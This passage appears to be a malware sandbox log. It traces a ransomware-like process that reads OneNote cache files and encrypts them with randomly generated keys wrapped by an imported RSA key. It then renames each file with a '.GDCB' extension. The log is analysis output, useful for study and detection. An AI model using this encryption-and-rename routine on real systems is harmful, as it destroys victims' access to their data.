"c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\00000014.bin"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\00000014.bin.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\00000014.bin.gdcb")) returned 1 [0185.051] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0185.053] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0185.054] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0185.054] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0185.054] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0185.054] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0185.055] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0185.056] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0185.056] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0185.056] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0185.056] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0185.058] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f823d8) returned 1 [0185.058] CryptGetKeyParam (in: hKey=0x4f823d8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0185.058] CryptEncrypt (in: hKey=0x4f823d8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5b40000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5b40000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0185.058] GetLastError () returned 0x0 [0185.058] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0185.058] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0185.060] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f81e98) returned 1 [0185.060] CryptGetKeyParam (in: hKey=0x4f81e98, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0185.060] CryptEncrypt (in: hKey=0x4f81e98, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5b50000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5b50000*, pdwDataLen=0x285d120*=0x100) returned 1 [0185.061] GetLastError () returned 0x0 [0185.061] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0185.061] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\00000015.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\00000015.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0185.062] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5b60000 [0185.064] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5b70000 [0185.065] ReadFile (in: hFile=0x518, lpBuffer=0x5b70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5b70000*, lpNumberOfBytesRead=0x285d160*=0x33b9, lpOverlapped=0x0) returned 1 [0185.116] VirtualAlloc (lpAddress=0x0, dwSize=0x33c0, flAllocationType=0x3000, flProtect=0x4) returned 0x5c80000 [0185.121] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\00000015.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\00000015.bin"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\00000015.bin.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\00000015.bin.gdcb")) returned 1 [0185.126] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0185.127] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0185.128] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0185.128] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0185.128] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0185.128] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4980) returned 1 [0185.129] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0185.130] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0185.130] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0185.130] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0185.130] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0185.132] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f82298) returned 1 [0185.132] CryptGetKeyParam (in: hKey=0x4f82298, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0185.132] CryptEncrypt (in: hKey=0x4f82298, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5b40000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5b40000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0185.132] GetLastError () returned 0x0 [0185.132] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0185.132] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0185.134] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f820d8) returned 1 [0185.134] CryptGetKeyParam (in: hKey=0x4f820d8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0185.134] CryptEncrypt (in: hKey=0x4f820d8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5b50000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5b50000*, pdwDataLen=0x285d120*=0x100) returned 1 [0185.134] GetLastError () returned 0x0 [0185.135] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0185.135] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\00000016.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\00000016.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0185.136] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5b60000 [0185.138] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5b70000 [0185.139] ReadFile (in: hFile=0x518, lpBuffer=0x5b70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5b70000*, lpNumberOfBytesRead=0x285d160*=0x622, lpOverlapped=0x0) returned 1 [0185.199] VirtualAlloc (lpAddress=0x0, dwSize=0x630, flAllocationType=0x3000, flProtect=0x4) returned 0x5c80000 [0185.204] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\00000016.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\00000016.bin"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\00000016.bin.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\00000016.bin.gdcb")) returned 1 [0185.209] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0185.210] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0185.211] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0185.211] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0185.211] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0185.212] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4540) returned 1 [0185.213] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0185.213] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0185.213] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0185.213] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0185.214] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0185.216] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f82458) returned 1 [0185.216] CryptGetKeyParam (in: hKey=0x4f82458, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0185.216] CryptEncrypt (in: hKey=0x4f82458, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5b40000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5b40000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0185.216] GetLastError () returned 0x0 [0185.216] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0185.216] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0185.218] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f82498) returned 1 [0185.218] CryptGetKeyParam (in: hKey=0x4f82498, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0185.218] CryptEncrypt (in: hKey=0x4f82498, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5b50000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5b50000*, pdwDataLen=0x285d120*=0x100) returned 1 [0185.218] GetLastError () returned 0x0 [0185.218] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0185.218] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\00000017.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\00000017.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0185.220] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5b60000 [0185.221] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5b70000 [0185.222] ReadFile (in: hFile=0x518, lpBuffer=0x5b70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5b70000*, lpNumberOfBytesRead=0x285d160*=0x2e6e, lpOverlapped=0x0) returned 1 [0185.231] VirtualAlloc (lpAddress=0x0, dwSize=0x2e70, flAllocationType=0x3000, flProtect=0x4) returned 0x5c80000 [0185.236] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\00000017.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\00000017.bin"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\00000017.bin.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\00000017.bin.gdcb")) returned 1 [0185.241] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0185.242] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0185.243] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0185.243] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0185.243] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0185.243] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0185.244] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0185.245] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0185.245] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0185.245] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0185.245] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0185.248] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f81d18) returned 1 [0185.248] CryptGetKeyParam (in: hKey=0x4f81d18, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0185.248] CryptEncrypt (in: hKey=0x4f81d18, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5b40000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5b40000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0185.248] GetLastError () returned 0x0 [0185.248] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0185.248] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4540) returned 1 [0185.250] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f81d58) returned 1 [0185.250] CryptGetKeyParam (in: hKey=0x4f81d58, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0185.250] CryptEncrypt (in: hKey=0x4f81d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5b50000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5b50000*, pdwDataLen=0x285d120*=0x100) returned 1 [0185.251] GetLastError () returned 0x0 [0185.251] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0185.251] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\00000018.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\00000018.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0185.253] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5b60000 [0185.254] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5b70000 [0185.255] ReadFile (in: hFile=0x518, lpBuffer=0x5b70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5b70000*, lpNumberOfBytesRead=0x285d160*=0x8de, lpOverlapped=0x0) returned 1 [0185.264] VirtualAlloc (lpAddress=0x0, dwSize=0x8e0, flAllocationType=0x3000, flProtect=0x4) returned 0x5c80000 [0185.268] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\00000018.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\00000018.bin"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\00000018.bin.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\00000018.bin.gdcb")) returned 1 [0185.273] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0185.275] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0185.276] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0185.276] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0185.276] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0185.276] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0185.277] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0185.278] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0185.278] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0185.278] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0185.278] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0185.280] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f82b58) returned 1 [0185.281] CryptGetKeyParam (in: hKey=0x4f82b58, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0185.281] CryptEncrypt (in: hKey=0x4f82b58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5b40000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5b40000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0185.281] GetLastError () returned 0x0 [0185.281] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0185.281] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0185.283] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f82698) returned 1 [0185.283] CryptGetKeyParam (in: hKey=0x4f82698, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0185.283] CryptEncrypt (in: hKey=0x4f82698, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5b50000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5b50000*, pdwDataLen=0x285d120*=0x100) returned 1 [0185.283] GetLastError () returned 0x0 [0185.283] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0185.283] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\0000003K.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\0000003k.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0185.285] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5b60000 [0185.286] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5b70000 [0185.287] ReadFile (in: hFile=0x518, lpBuffer=0x5b70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5b70000*, lpNumberOfBytesRead=0x285d160*=0x3000, lpOverlapped=0x0) returned 1 [0185.297] VirtualAlloc (lpAddress=0x0, dwSize=0x3000, flAllocationType=0x3000, flProtect=0x4) returned 0x5c80000 [0185.301] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\0000003K.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\0000003k.bin"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\0000003K.bin.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\0000003k.bin.gdcb")) returned 1 [0185.306] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0185.307] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0185.308] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0185.308] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0185.308] 